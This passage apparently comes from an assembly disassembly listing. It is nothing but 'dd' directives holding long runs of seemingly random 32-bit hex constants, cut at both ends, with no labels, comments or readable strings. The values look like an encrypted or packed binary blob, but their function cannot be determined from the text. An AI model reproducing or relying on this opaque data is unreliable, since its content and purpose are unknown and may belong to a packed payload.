0E25A794Ch, 0D2AFD25Ch, 9478662Dh, 0C0684A60h, 0A1784C4Dh dd 34C0CED7h, 90E9123Ch, 0CC11B4F8h, 0C3C72162h, 0BF70A33Eh dd 0C077EAFCh, 0F47AC763h, 0B05E624Bh, 19CC5984h, 0BD97EF09h dd 2F0B5DC1h, 5FC5AFFCh, 215DF490h, 0C9B9DED0h, 0AB5A185Ch dd 3E6DF920h, 8E981AB7h, 0CBE0E10h, 4C576400h, 15CFF681h dd 0BA055146h, 0FA88173Eh, 720A4A60h, 41634CC9h, 368DFA02h dd 0C9F5019Ch, 3A395F84h, 57215CE0h, 0AFCB6AF7h, 71C8BE18h dd 3139FFC3h, 9D936CBh, 15E9FEF2h, 0E0011EEEh, 61294D12h dd 2403F812h, 8A01F251h, 6848AC4Eh, 1F3353C9h, 0F3BB0F76h dd 94D2B576h, 0C109AA8Dh, 1DBF20D1h, 95318758h, 23B5B87Ah dd 0F2E95736h, 82096A38h, 55806DD9h, 5A9287C7h, 5821CEBEh dd 0F53C11Ch, 5F604B7Eh, 0F576A05h, 6E002AAh, 0C0632BB5h dd 0C14D07C1h, 510CBF29h, 141CA008h, 0B0FC584Bh, 142026C4h dd 305C00D5h, 0E5C16D9Dh, 50D09703h, 0FEFBE380h, 0FB0EEF26h dd 0FC5F16h, 8430E24Eh, 23BC11E9h, 15BD5501h, 700A0F2Ch dd 26C2B4A9h, 0C028F2B1h, 8242C28Ah, 2E44E7D0h, 58EA05EDh dd 895B27EFh, 0F30ED428h, 2EC0145Ch, 6918D7C3h, 5C1C3018h dd 0F710F828h, 0DF4A38EEh, 603CA1E0h, 0B6E12657h, 4F764535h dd 41ACC104h, 81BF59CAh, 3D161D74h, 924316ECh, 0D2687ED1h dd 0D982F42Ah, 50144BCh, 7757187Ah, 7C886080h, 0F1812FC1h dd 3766BB05h, 0F00B4952h, 5F8366D9h, 6810035Ch, 531A5F6Ah dd 5FF91832h, 552C776Dh, 2996BF0Ch, 10F60FB8h, 99644BC8h dd 0A203D8F1h, 4516C16h, 0BEF7FA0h, 0A54247F3h, 6E5422DDh dd 0A968012Fh, 0C5712C5Dh, 0B0A3D3CEh, 62685201h, 0C8EF5AC1h dd 0E925D629h, 0FDA4E27Ah, 9AC94BC5h, 0C4365692h, 6AD3A133h dd 0F4A28252h, 0EF492EC6h, 3FA2699Dh, 5B260B3Ah, 0BEB38F96h dd 52032124h, 5F1FC5E9h, 0D21E0466h, 8943911Bh, 5D802BDDh dd 0B74C315Bh, 0E895F671h, 9ABF00CBh, 2928D908h, 0FD4CC9EFh dd 0CF1DAC7Ah, 0B1680E4Eh, 2EF10C3h, 4ABEC96h, 0BF20DD12h dd 0E6BBCE74h, 0C5F0425Ch, 30BB5659h, 0C78957C0h, 29DFEE4h dd 7DD7686Ch, 173F1DE7h, 39AB1292h, 2063F850h, 488F016Bh dd 2968594Fh, 89FE2978h, 9A095D51h, 0EB0714D2h, 4D9B10C1h dd 0DCC2C4B2h, 0AADB67C2h, 44C941F8h, 0F3017A30h, 62392A5Ah dd 57B57Eh, 1B3D6808h, 0A86ABDB4h, 4047C407h, 162F6F9h dd 0ACBE2D02h, 35A56A6Dh, 4A12ED40h, 0F45C4B25h, 0D9EB45Fh dd 9DCFEC2Fh, 0FACBDB59h, 87F65F98h, 8E081E9h, 15442755h dd 48BFC9E4h, 6417004Eh, 602D278Bh, 4AA10541h, 1005E801h dd 507D9207h, 5221A826h, 813F44F1h, 77C58F02h, 0EEA051B0h dd 46BC261Fh, 4E5B4FFAh, 20C212CDh, 1A88C201h, 7865CA9Fh dd 91691EEh, 3AF5EA6Dh, 589C7679h, 972F3619h, 0C06BCB7Bh dd 12F4D4E5h, 206FCAE9h, 0D00BCF46h, 7B2508B8h, 0A693F3ADh dd 0BBB83B86h, 2A2CEF4Ah, 4B4BA15Ah, 0A151EA72h, 0A2BAC12Bh dd 926847FFh, 5A915B52h, 0EDF23A5Dh, 0DB7A0D3h, 0BB1EE716h dd 279D5D04h, 340E3E80h, 124076B6h, 463818F3h, 3AFA994Fh dd 0E95253B7h, 0AF0C18D0h, 974D51E9h, 92D7CD8h, 5B2E577Fh dd 0D77A32FCh, 0EB88DCE8h, 16BAC788h, 0FE1A6B37h, 2781F150h dd 4132C992h, 5012B840h dd 8928257Ah, 599A277h, 0FAA7AC4h, 6D4B6196h, 0FCCC9F64h dd 0AE6ACF6Bh, 108BCD45h, 0E5107422h, 2A880F34h, 71290459h dd 63A928AAh, 2389C14Ah, 6817DA22h, 5F37BF64h, 464FDA82h dd 0E6B6273Eh, 9BC6A089h, 0D3DD552Fh, 94A5BD41h, 0BC777162h dd 46E917C1h, 1477A9ECh, 3D8E27EAh, 13073FC0h, 0E344B7F5h dd 0E28287B0h, 68530063h, 0D326271Bh, 0F30DE82Ah, 76200F1Fh dd 0DB4EBD97h, 1FC98F6h, 84C552A3h, 5CC4D02Ah, 34FAB53h dd 0E74B6DA2h, 0E90E61E2h, 0A892EA9Ch, 96621ACh, 0A0AE042Ch dd 23DA8B0Ah, 0C6468175h, 0CA8BBD5Dh, 0D5B4ED59h, 934F6998h dd 646C3941h, 0E42E2F54h, 0AD0ECDB7h, 523F4579h, 46FF7B01h dd 1E200C4Ch, 4BD6129Ch, 2EDDB086h, 13EAC053h, 0D60EC830h dd 27A6D39Eh, 523BE916h, 0EE8BBAC4h, 210ED412h, 6AD5EBh dd 0B5F08850h, 0CD80B4C1h, 0E9CEE001h, 5195745Dh, 10CE6E42h dd 2E43EE27h, 58D9104Eh, 0BF9E72F8h, 42B9C36Bh, 5D2A930Dh dd 3BA749FAh, 46F513E8h, 751B4F17h, 8C0EA01h, 272832CFh dd 0DB2E1261h, 0E84A8957h, 8414DD5Dh, 41C991B7h, 0BA85123Ah dd 5B685268h, 5B4A388h, 2834E953h, 0AFC28590h, 6662133Bh dd 0FE10AE29h, 0D65F2F08h, 1CFC274Eh, 2BFE5744h, 6CE90B42h dd 8AABA79Ah, 6039A802h, 0C01D658Ch, 3784EB35h, 0BB9812C9h dd 5531A909h, 0BD9E0549h, 3675097h, 2A0820EFh, 5B31D6B0h dd 914308CAh, 2FA75625h, 0C05AB976h, 0BBBC626Fh, 0C5700787h dd 0FA3112CDh, 0ACA865DDh, 0EED617E0h, 96D1D5Ch, 0F1155E98h dd 2FDF3838h, 0AF718BDh, 0BD3D7E03h, 6507A3F2h, 0C10D3027h dd 0B7010765h, 716D7BA8h, 55391E80h, 0BB5303DBh, 0B972C909h dd 0EE53020Dh, 9194FFA1h, 135EDB97h, 0F18609D5h, 0F07EB855h dd 54F9BF37h, 31C02D65h, 27E93FC7h, 2AA0FDADh, 1CDB67EEh dd 7931DC2Dh, 0BA02EBBDh, 8027955h, 0EDB185FAh, 82A999FBh dd 585BFB4Ah, 6ED07505h, 5E4C0882h, 0A7CB69BFh, 0AC4E8A6Ch dd 4C4DE212h, 16525A6Ah, 9E4C1C44h, 102D21Dh, 0E311F693h dd 3E0B2A4Fh, 3095851h, 857543BAh, 0AC92D7Ah, 0D0D92063h dd 5A070550h, 405A9B94h, 0E2E0747h, 68524B0Bh, 76E370C0h dd 0D94EFEE9h, 9A79148Ch, 7836A102h, 0AD66132Eh, 3DBAF4B9h dd 22273F9Dh, 91C0E756h, 3C592CD9h, 4BCFF6CFh, 0C6866B81h dd 50BC68A4h, 66804415h, 69162668h, 535242F7h, 0C9E87961h dd 0AE741C7h, 0C7590273h, 5A680513h, 0BD30EF6Ch, 98841BCh dd 38D2E92Dh, 9BA8145Bh, 5C9ECF27h, 56E56398h, 7CC64325h dd 431D0547h, 0E5A81D03h, 9945DE89h, 57084Ch, 984283BFh dd 0E3CDE90Bh, 0CE59CBh, 1A0FF67Bh, 0FC205AADh, 6CF84E52h dd 51DDE4B4h, 0C035064Fh, 8D9206A9h, 4B13DA51h, 0D43BE8E3h dd 5519205Eh, 12A5FBAh, 55369606h, 2F54FD16h, 0C40FAF3h dd 8BF1BC5Ah, 3B5FEDC2h, 13EA7347h, 0B76AE51h, 709A01ADh dd 6E61258h, 44323A12h, 0ECD2F1F2h, 1ABC96DFh, 0BAF2E716h dd 10B11F77h, 5B6D0130h, 5287824Fh, 0B6EA1556h, 0C46DC105h dd 78C5B301h, 56F27962h, 93F75107h, 0A18208D3h, 4B97E657h dd 0F508C009h, 7B13E536h, 0EFAC0177h, 5B204A31h, 7485DD55h dd 0DBA88167h, 7F7C7779h, 1500E44Bh, 977349BAh, 1460B56Ah dd 0C90CF281h, 3E01AA5Dh, 67A4B7CAh, 0CE3DC087h, 5073112Fh dd 1680464Ah, 91123868h, 4801AD69h, 6B9EE1E9h, 0B97C4345h dd 76FF0FC4h, 0BC2ED053h, 7AC931F6h, 4C842EE3h, 658052CFh dd 70864442h, 893D4597h, 35E65609h, 0B484FE20h, 7C0F3B07h dd 69842B4Bh, 513BCC17h, 9698E5B7h, 0B9E3C05Dh, 13D03BFh dd 0B5F81640h, 8CBB0134h, 2C55C98Eh, 800B4729h, 684D5407h dd 4B3DB62Ah, 0ED0BD03h, 82E931AFh, 0E392A0FFh, 7B5525C5h dd 9235A20h, 935ABE09h, 6D478EB7h, 4D3598EFh, 0EB49B46Bh dd 62FC1E5Bh, 0DE7BBA4h, 3A55578Bh, 513DC38h, 74627C68h dd 7D99BE72h, 3F048F3Bh, 53B1ADE9h, 9BB2624h, 795EAFC9h dd 0BA8C005Bh, 7EAA40FAh, 309E2C1h, 0FAF305E9h, 0CE4720C7h dd 4AA15D4Bh, 700BD9ADh, 98F55829h, 98F9F7FFh, 444E2FD1h dd 88A1B53h, 6861D1E3h, 16265469h, 8D406727h, 0C3789D61h dd 10E4B930h, 0C98F6658h, 2CF0B7DCh, 42A0BB01h, 0DA293EB3h dd 0FD2E3B31h, 62AFF4E4h, 24D35703h, 0BD1BECA5h, 0C44430FAh dd 2CF23168h, 7E78FB0Bh, 0D2B25F77h, 205F4C41h, 0B8004A52h dd 719A6FF6h, 2FEC7D05h, 0C95C94B4h, 4DEF8101h, 4C81B66Eh dd 537F1ACFh, 33F7F028h, 4ED02C18h, 2BD3090Ch, 0A654630Bh dd 644A4269h, 2E49E901h, 66E7722Ah, 0AE4E865Ch, 0DDFE13D1h dd 3B22F549h, 74AFEA16h, 0B9E3BB11h, 40EADD10h, 0AF935F2h dd 0EEE3DF13h, 0FEA88031h, 9502372Bh, 0F0CAE199h, 511352CCh dd 9A0C84B5h, 91C375C7h, 0D0044B6Fh, 9601165Fh, 0A77BA6B8h dd 443DDF20h, 0FE05C62Ah, 29653C09h, 1241C4ABh, 0EF23D108h dd 0F5639632h, 0DFFB7724h, 0A81F1082h, 0BBDA8913h, 5AD71560h dd 0E74535E9h, 173CF820h, 0BFAC97h, 100DC20Dh, 0E92F3A40h dd 56230BA0h, 677F70FAh, 0FCBADBC0h, 34DCE39h, 243E281h dd 0EAB00C66h, 0A32E13E1h, 1F1EE24Bh, 806492CFh, 0B171CFC9h dd 0C5E9100Fh, 0EDBB0394h, 0D13F524Dh, 286A6909h, 5C419E06h dd 301A8040h, 29450F67h, 0C0C55FF8h, 0C1DCA81Fh, 0F02862B6h dd 0DC8C123Bh, 0A2F293Dh, 193CFB01h, 7EDC67D3h, 300D1980h dd 1299036Dh, 540D0F7h, 9F4CA6B8h, 573A4297h, 0FA5DDF05h dd 517B098Eh, 6C203EC3h, 8055966Ah, 1ADF3764h, 0F990F929h dd 765F0881h, 7A464EDDh, 43BCA25h, 5F5783C2h, 275C168h dd 1CE07A53h, 0FF17007Dh, 6164BA28h, 294167D5h, 3505B900h dd 450CD6E9h, 1495906h, 107C65BFh, 2DEFF856h, 96C35F82h dd 259C5000h, 0ED813B88h, 0B81F0CF9h, 9A1A562Eh, 7A8D6800h dd 0DE115CBEh, 71F09F39h, 800EEC98h, 0DE75822Fh, 2C650D7Bh dd 0DFC10C20h, 5D2122F9h, 6094D160h, 0E5C1D19Ch, 0E44D3DB1h dd 7DEF4BCBh, 0CD0A34FEh, 0E34072B0h, 53C5A101h, 9F076FE4h dd 7F2DBB46h, 0EB0D4841h, 0DC0802DEh, 3D6D6879h, 0E880A051h dd 2110CF7Bh, 56A0CBF3h, 65A008F0h, 5A134BC5h, 44AE410Ah dd 4EF94CAFh, 0EF4242F2h, 508E11Ch, 0D0015B00h, 0EDA05164h dd 4D8C031Fh, 0F089294Ah, 0E907412Dh, 58DF801Eh, 0FD4F0735h dd 68561605h, 88F77065h, 794CC423h, 0AEEB3DFDh, 71168EDEh dd 0BB164DF3h, 0ED1A2956h, 3E386502h, 0C23F227Dh, 0DED367ECh dd 63626885h, 0BC5089E3h, 50C2EB7h, 2EF09DFh, 53806771h dd 3C19E2BBh, 8CE1BD61h, 9FC47FEh, 8B35A000h, 3D7EAC3Fh dd 0E0B59F92h, 9A0C0E43h, 0B248B743h, 0FA2E8BDCh, 0AC292C2Dh dd 13A5E961h, 773B0332h, 2D7B9E3Fh, 3B7CEFE0h, 84B6840h dd 853D001h, 0EB938349h, 1C7E39C9h, 0A2CC52C0h, 0FD4A26ECh dd 0EB85A6E2h, 0F3F55A25h, 5BBB9F23h, 54E6BFF8h, 0B342AE4Fh dd 5D37272Eh, 0AD51CE61h, 0AD0F61BEh, 92AF11D9h, 74ED395Eh dd 243588F9h, 90D88420h, 0F4C82DE0h, 0E9D86EF4h, 0F7CB6BDh dd 80EEE3C0h, 0F361466Eh, 59D82897h, 859FFD8Ah, 0E1D2E914h dd 0AD96D2A9h, 3E1504FCh, 6006EA0h, 1E26572Dh, 0F4E9DB9Ch dd 392825Ah, 0B9628CD8h, 0A85D9DA5h, 27FD9EB7h, 0ECE6681Fh dd 0DA1D958Ah, 8053DBA5h dd 51354368h, 2CF9E963h, 69E14EE2h, 0B572B0F4h, 2827B1E6h dd 5182CB88h, 312B47FAh, 24A6A07Fh, 1635382h, 1B4D9ADh dd 70F0CA8Fh, 71836A7Dh, 0F698E729h, 0FB2F7F7Ch, 0AF386501h dd 83E1AAA9h, 0E8FAE28Dh, 1A5D5E2Eh, 29A1F012h, 627C4220h dd 57F47FCBh, 4FEA46D7h, 0E9A0C1D8h, 0B9192414h, 0B20C5C04h dd 85AB211Ah, 5780BB89h, 0CB1658E9h, 0F1EB68BCh, 8730C5FDh dd 0EE579C63h, 1B2FDEEh, 0ABB15105h, 2AFC2304h, 5388BE74h dd 61EBBFDBh, 41D7F883h, 6A10A3E9h, 0C860769Dh, 82B89EF1h dd 35207440h, 4F027C40h, 0F416572Fh, 8E894932h, 4CFF0975h dd 0EA07D816h, 0C8C90749h, 69B2795Fh, 0BFB6BC57h, 0E9853379h dd 0E6F82AC1h, 0A7B142D3h, 2DF20106h, 6AA8525Fh, 0C23182B5h dd 2582217Eh, 7705DD1Bh, 0EA4FFCCCh, 0EBD1C000h, 1842E381h dd 0C7AB317h, 6D041D5Dh, 0DC3E92Dh, 4A78F2E2h, 0F2D5843Bh dd 30A097EEh, 5F0C2068h, 9DBE927h, 4EC155BBh, 2847EB1h dd 0FAFB2CFBh, 6F28CCA9h, 151312A3h, 0D657A39Dh, 0EED023BDh dd 585C5320h, 65180026h, 0F181088Bh, 10DCB1Ch, 68589BFEh dd 5C094870h, 3A1854C9h, 7A9730B6h, 80E2FA37h, 513BDBBh dd 74B14F92h, 0B7EE1B41h, 0BD01FEDCh, 0E3751432h, 25D184E5h dd 302A62EEh, 0A3696355h, 198F2F50h, 0B46A9441h, 220584C0h dd 0F301C937h, 0EBB03FB8h, 0C1240851h, 6A196072h, 306901FBh dd 5D9B2A7Bh, 34A1B8C0h, 0E7F06F9h, 0BB9E51D5h, 9716CE25h dd 1191AEC5h, 800134EFh, 86018F0Ah, 5584314h, 435E2406h dd 0BC5C70AFh, 0BDDE2D7Ch, 96CFE0CCh, 17591767h, 65CAC3Bh dd 6F4927F0h, 3E1C3EF0h, 0DFFE24AFh, 44EB8320h, 76AD80BCh dd 3116373Fh, 8356ABE9h, 0AB4BBB8Ah, 0BA600A6Dh, 0CA264DAEh dd 0C45528Fh, 7E6DA4FFh, 13183600h, 5ED4BD55h, 215A2E48h dd 267F93A5h, 5B953CD1h, 0FED3C99Eh, 1121EB09h, 0CB3F87E3h dd 85521219h, 0F7583F62h, 0EA56BF05h, 0DEF5E337h, 0E9F3D9C0h dd 20605B78h, 0F0215D5Eh, 85D73B5h, 800731EDh, 0C304C8EBh dd 0F69A98C0h, 4F70FED1h, 23F74216h, 0BBE019AEh, 0C62D840Fh dd 55496285h, 35623C0h, 7B5E222Dh, 21EA0560h, 1F6AD0EDh dd 0F5A414Ah, 0E9097CFCh, 5C5ADDF6h, 68331530h, 14996855h dd 0A73CB87Ah, 191DC91Bh, 9B5ED1B1h, 0CA32420Ch, 295B03D7h dd 5A5BD5AEh, 449946E7h, 0A7BC0476h, 0F6596A13h, 684FD86Eh dd 0EC224BE2h, 7337E105h, 1EBDB22Fh, 7E04E5C1h, 57A45A4Bh dd 89C360CCh, 0CD233AF7h, 12D757Bh, 0A097EC45h, 4A5C1C26h dd 51C887EEh, 2A13AF7Ah, 97D14DE0h, 75B10B40h, 0E9FD8306h dd 0EC59E016h, 315F18A9h, 60A30C39h, 219B6912h, 0E9A72CEFh dd 6418B02Fh, 0CB76C0B2h, 455A176Dh, 68535212h, 20516F05h dd 0C0EB1FEFh, 0E9099FF3h, 8B939DD4h, 32720501h, 102E49CCh dd 0A65E07F1h, 0D75728E9h, 9D957F20h, 39137B54h, 0FECB80A4h dd 0BCF94E96h, 8B82C61Fh, 53F2C3DDh, 0F5B0137Eh, 4827DA66h dd 2042B60h, 0C40B3669h, 0C9959973h, 0ADC96F0Ah, 6ED499A0h dd 0E3FA7E34h, 8F1BA295h, 6695D40Dh, 912B156h, 3FA5EF3h dd 74B761F2h, 705FEE5h, 63BF5C30h, 4FA6AA70h, 7B0C8C25h dd 0B8500E83h, 0C2F81025h, 0A576D2Eh, 0E7AF3345h, 0AE1534FAh dd 4E9DC298h, 0F90631E7h, 6FF7D98h, 747923D3h, 7F3209AAh dd 0F2217D1Fh, 88590368h, 1462B43h, 0E26064BFh, 0CB5B287Eh dd 0B797D05Bh, 2305C500h, 0B3B671D4h, 41DF2639h, 0F6A6543Bh dd 0ED5BD00Fh, 5DBA416Fh, 83416B78h, 44A4F2B8h, 350BEE6Eh dd 53025E68h, 388DBBCh, 0F8792556h, 0F4A8CB97h, 0AFD1F712h dd 62E9AC41h, 0C87EE7B2h, 0F64066FEh, 0EFB14E68h, 31267530h dd 0FC4F4EF0h, 5E90A48h, 0DA1870A6h, 39CF8034h, 0FF5FE04h dd 0FA20CDF7h, 0E609AFD7h, 0C13FD274h, 5E3795BAh, 0F241CB61h dd 0DC462A07h, 0EDED7E3Ch, 0C9CD5E2Eh, 4874E2C8h, 3A0898C2h dd 0E80EC32h, 34165E59h, 8541D998h, 48CB86Ah, 5F168A2h dd 3F2ABF57h, 829DFC4Bh, 5D7A23E9h, 475127CEh, 92BC2EB6h dd 0D9CAE1h, 2CF4632Dh, 3D11EC0Dh, 731E3141h, 87B45F0Dh dd 29EE5592h, 31A6D97Bh, 76D3EDA7h, 6CA10366h, 0B05B76EAh dd 72584EBBh, 0FCF39F1Fh, 80DCD0A5h, 304FD194h, 5E8074BAh dd 24021825h, 43E96E0Dh, 70B5B8D0h, 167BB760h, 7F078D26h dd 439F450h, 0F6EAF8D2h, 0C5E982B7h, 0E8B24955h, 0E6485EDDh dd 0CF7FA601h, 588BC512h, 0A513D359h, 3E42AE8Dh, 480550F6h dd 0E43F6158h, 0C2ED0041h, 0DA255C9Eh, 0A61B771Ah, 0A0688C09h dd 8A14770Fh, 2DABDB97h, 7B12230h, 0E3660158h, 0A7314C5Ch dd 0E583904Ah, 0DD26222Dh, 9201AC0Ch, 0E93D1636h, 0C324A0C5h dd 431B9DC2h, 0A0D1B05Eh, 0D47FB7E9h, 2FC7AB36h, 23A26841h dd 0E91AB529h, 0E90923A6h, 4D73E371h, 0B092D7C9h, 0A42C72BEh dd 618AD50h, 2C33E1B8h, 922DBAh, 2918113Eh, 7A4BD6E9h dd 1880E4D4h, 3B3F44C9h, 97F73AEh, 460FAA77h, 1D5C1EABh dd 5302A228h, 0E9269717h, 9825814h, 672C685Fh, 586B6879h dd 265D8791h, 44131834h, 250ECE81h, 0C045CB4Bh, 0FFFB7BEEh dd 0B0F1FCFDh, 0AC6AD21Ch, 0D1BEB498h, 3EC5A95Bh, 4659B52Bh dd 28538D05h, 0E4968064h, 0D7E6117h, 63E9EF12h, 0F066C9C3h dd 0EBCEBBF2h, 128F182Bh, 19612CF5h, 4DFAEB0Ah, 3EA3C303h dd 1BD629FBh, 242CE2F9h, 0C9C44AE9h, 3258C0F0h, 0D0BF5097h dd 0DA50082Ch, 0B4280B75h, 0A009296Ch, 96FE955Dh, 0EA60EE5Ch dd 304653C3h, 895C3B2Ch, 445BCB21h, 4C1756B0h, 64837EC6h dd 89FA2D6Bh, 0C8D30009h, 9667232Eh, 0DE863D90h, 107F2557h dd 40F8E927h, 5FDD3057h, 1986815Bh, 7512DE08h, 72EDE923h dd 0D864F599h, 5001C7CDh, 0C0FEE1B0h, 0A16B420Ch, 505E792Fh dd 48120747h, 0AD9714F9h, 500461C4h, 0F1A6995Bh, 0E96B84DFh dd 2DEA305Dh, 29F83AFBh, 0FC120DCBh, 0A27E7CC2h, 6FD0C3C5h dd 3D6E63BEh, 0B271E53h, 3345250Bh, 1384508Eh, 0D44D98BBh dd 3341E55Bh, 0C0A68736h, 0EE1F907Ah, 28F0158Ah, 0F972319Ch dd 9C5CAF7Bh, 4FD6A70Ch, 1A7D13EAh, 6DD4AADEh, 390C0818h dd 6E5B1606h, 5E788C5Dh, 3196749Bh, 0D185EBBCh, 0CD2D00F4h dd 5071AAF6h, 1D75259h, 45D33B1Dh, 6453558h, 925AEBF0h dd 41E97EDFh, 0A0D4E779h, 0F28A678h, 5D7F9C81h, 5F834396h dd 0D4292C4Ah, 80023EC2h, 0A14F60CFh, 0B9F9025h, 0DF945C8h dd 2D01D1F8h, 0CD31806Fh, 163B90E9h, 57DD6126h, 408C2E87h dd 8DF417ECh, 0A285E4C9h, 3F2E1E16h, 0AC810665h, 62CC1711h dd 5EA09C1h, 0E8F860E9h, 0AF176D97h, 8692A9F3h, 0BD2C6E85h dd 0DFE98033h, 408AF855h, 7863A6DEh, 9A61648h, 8FE92AFDh dd 75D1B291h, 0AB605EF1h, 0D31B2646h, 622C8289h, 4DF02A6Ah dd 7D08EF51h, 82CF8BD0h, 55C7008h, 0FBD1C458h, 0FE563B8Ch dd 0E51C4DD7h, 54C0E227h, 0E83F1D0Ch, 9EC72679h, 3F0209A4h dd 600E7017h, 3054FB15h, 430C7D28h, 6C4CEE55h, 0E9576715h dd 55734289h, 6859CC71h, 0F0590C42h, 0E271B5E7h, 76B4863h dd 6186C249h, 9F0C8CC7h, 0B191AE13h, 0E90AC9BBh, 0EFB05535h dd 0DA1DDC81h, 1175D97Bh, 821329C4h, 2A03ED55h, 5FFB70FFh dd 0B7C5ECA7h, 79D813D2h, 0F79307A2h, 870530DBh, 53506902h dd 4116069Fh, 0AE811FFBh dd 8842C201h, 0BDB0D3F4h, 17BC409Ah, 0D952EB7Ch, 17069AD6h dd 0E11DD702h, 0C01092FFh, 953B2673h, 0FA9404EEh, 31AEB008h dd 480CD026h, 7B27579Fh, 8054742Ch, 0DCEE11F2h, 0D15B898Eh dd 798538F9h, 0D04FD0E5h, 7B137305h, 88722E25h, 95B65055h dd 5309D7FCh, 25ED6673h, 173E370h, 680D21ADh, 56284CE5h dd 0ED6D4DC5h, 0B40C1249h, 4E104FA3h, 12573FF5h, 19ED45A5h dd 0B453FC7Bh, 148A0BD2h, 0F7C22918h, 1C6B3056h, 4A3836BAh dd 0AEF4E1E8h, 5D13C2F6h, 1AB2A351h, 571CB028h, 7E96C0F3h dd 0D9F696C1h, 8193E120h, 20F2B58h, 0C3B68599h, 0E392D0EAh dd 600B9E72h, 0D5D931E9h, 0E216669Bh, 0A289F414h, 0C49FA37Eh dd 500EDA4Dh, 0AFCD1BC5h, 595AC549h, 0F158E4Eh, 9074402Bh dd 0E9F82902h, 62BD9202h, 0C4627772h, 203FE6D6h, 0D5F71F81h dd 252E687h, 1C0D19B9h, 0E13A5570h, 70E0A507h, 0C89FA010h dd 7D020D39h, 2ECD501h, 6E7D5A08h, 67E927C9h, 617FAEE2h dd 0C56E82A2h, 7BCBBB59h, 5BEBA093h, 0C9CDE92Dh, 9C02D309h dd 235436C1h, 25D05C95h, 201B1959h, 4302463Ah, 0D84CE7C4h dd 4FF604FDh, 63E02B21h, 0CBC24E89h, 77C116EDh, 2F2A25F3h dd 80295AB5h, 0A2724688h, 0B18C0F64h, 12A185ACh, 41E90008h dd 0EA21C71Ch, 7909C0C9h, 60443A68h, 5B9840BFh, 0DF8AE09Fh dd 0C41AE413h, 8C8BE4DCh, 68125E8Dh, 17354C0Bh, 60AD9F10h dd 0B1C8EF61h, 207F7B47h, 3506A72Bh, 2C700ED6h, 419C41AAh dd 0C253FF6Eh, 0E5645955h, 73E2AF66h, 89F6E90Bh, 9DC1531Bh dd 0E7276423h, 3CB6044Fh, 260262Ch, 8D8E949h, 0F138CE89h dd 39F71546h, 0CB2988B1h, 0EAC24671h, 675F098Bh, 3BE90939h dd 7B701DABh, 83D21020h, 0ECFF1FDh, 0F6F37FC2h, 4A865518h dd 759C2D4Dh, 0DB8BA8D4h, 41F49A7Dh, 0E23FD390h, 8055DF88h dd 0E1D11D84h, 655516CDh, 0C8208A61h, 210E95C8h, 4999AED6h dd 5A21D32Eh, 6869E8EEh, 69C77E40h, 0E8A63876h, 590D725h dd 0D94F4BE9h, 3067A620h, 40545F5h, 43B4EA07h, 3987645Fh dd 5D55D2CBh, 80D5C5F7h, 66736852h, 5A0769F3h, 1055E281h dd 93C36B45h, 6062604h, 2610513h, 82C1EBE3h, 3714257h dd 0FD79246Eh, 44A85E76h, 0EE32C073h, 461A605Fh, 6023E92Fh dd 1EF580D4h, 97A12C7Ch, 5CBFB030h, 2DF0213Ch, 480A5283h dd 0E33DF6C4h, 5C114419h, 0A75AD8BEh, 749A31F0h, 6AF6F97Fh dd 30D8D982h, 0C90DC08Ch, 0DD011414h, 0E90840DDh, 6BB1364Bh dd 0DF0FB23Ah, 1279D5CEh, 0FCD8CFAh, 1766B758h, 1DF34034h dd 11DD4518h, 50CF53CBh, 3895A4FCh, 0E95D5820h, 0ADAC694Eh dd 3CB9BF81h, 0C154218Eh, 4BB2DC2h, 76116E90h, 419117EBh dd 0B252A363h, 4BC92E7Bh, 68C49B39h, 0E934D15Bh, 723CA1h dd 8B0574BFh, 39C78367h, 0C3858101h, 91FFC054h, 1E8BC0Eh dd 0A270D531h, 5F6BF4EAh, 0D2DCB9E0h, 7E45CAAAh, 0E922C2E1h dd 574948AEh, 4D011268h, 6F0DEF92h, 0DFC2AC6Eh, 47523D11h dd 91FCDB99h, 42FFFC69h, 7CE6D036h, 27DF6817h, 3247D260h dd 2AE09541h, 4D317107h, 5882CD6Fh, 87E0746Ah, 74F4A2h dd 0F92015B7h, 0D05B0B66h, 0F10E80E1h, 4159CB27h, 0E2EF68C3h dd 18E7A1A2h, 5D3F703h, 394CA5ECh, 2F5BE11Bh, 971CFFCCh dd 520D56h, 99346FE5h, 0E240BF3Ah, 285CC118h, 0DA052593h dd 0C602635h, 6DB18084h, 6689F180h, 0FFA61AC4h, 0BECD2CFCh dd 0D6D0939Bh, 855C6B49h, 32A8A371h, 5317B1C4h, 551ACCAEh dd 1F332CC8h, 0BA301768h, 16DDED38h, 285947E9h, 0CA598968h dd 5A95F08h, 17D46CF2h, 0BB36FF25h, 5CEB4754h, 33B75302h dd 5793E780h, 0AEF741C0h, 94D06CEh, 0CB8ADDFCh, 7DF440D4h dd 0A6B03C3Ah, 9F09A103h, 40C2012Ch, 95580884h, 0B803527Bh dd 0FC3BF42Bh, 4A2DCBB8h, 0EFC06902h, 0F1339360h, 0D92E5B81h dd 86FC0089h, 750C8F47h, 264B06E9h, 97409BAh, 488B0701h dd 905D798Bh, 9FFE94DCh, 0C324EDDBh, 0E150B310h, 0F2800BBAh dd 0A1C02891h, 1812054h, 0C8571741h, 0E14213AFh, 0F4ADAD7Ch dd 690C07F4h, 1B909CABh, 97EF0481h, 0BB604ABh, 52CCC713h dd 9F541165h, 56FA08A0h, 255E8097h, 4C847921h, 0A51CFB61h dd 5A304239h, 0A353D009h, 33D7E08h, 642886B4h, 5C0CA910h dd 9EF78100h, 57778B1Ch, 595F511Eh, 0CF87D140h, 0B9070868h dd 0AAEAAC57h, 283E95D0h, 98D8842Fh, 5856C83Eh, 0D316920Bh dd 0ED1F4586h, 7A1D824Dh, 0EF46C371h, 0AB6975A6h, 0A720C140h dd 0F70BFD29h, 5201F13Ah, 2CA068D5h, 0C5E9C250h, 4E145578h dd 4682CB2Fh, 88EA9512h, 3EB5DA5Dh, 29A2420Ah, 890C28D0h dd 2FDDDE51h, 47990500h, 17983D35h, 16A73Ch, 55BA5211h dd 0B72D8D62h, 0ACC19EF8h, 2BA22C38h, 0F307302Ch, 6052E30Ah dd 65373F5h, 611C205Ah, 58CFFCE7h, 4BF40B05h, 0FB8365Bh dd 2FE90740h, 0A47EC46Ah, 32E08464h, 53723868h, 7261AF4Ah dd 757EE752h, 0F42CABA0h, 295861A7h, 0D379DBE7h, 31EF9200h dd 50FA5717h, 0C2F84E89h, 4F605FB6h, 44BFF628h, 53085AFAh dd 5C80A055h, 0F58F2095h, 9A53572h, 5DEF316Ch, 54C0B8Ah dd 0C5486AEBh, 4DF791F5h, 555A020Dh, 4FF5E722h, 1DFCDA6Ah dd 3EA3CA01h, 0F52062D9h, 48BD98B2h, 5204BA6Ch, 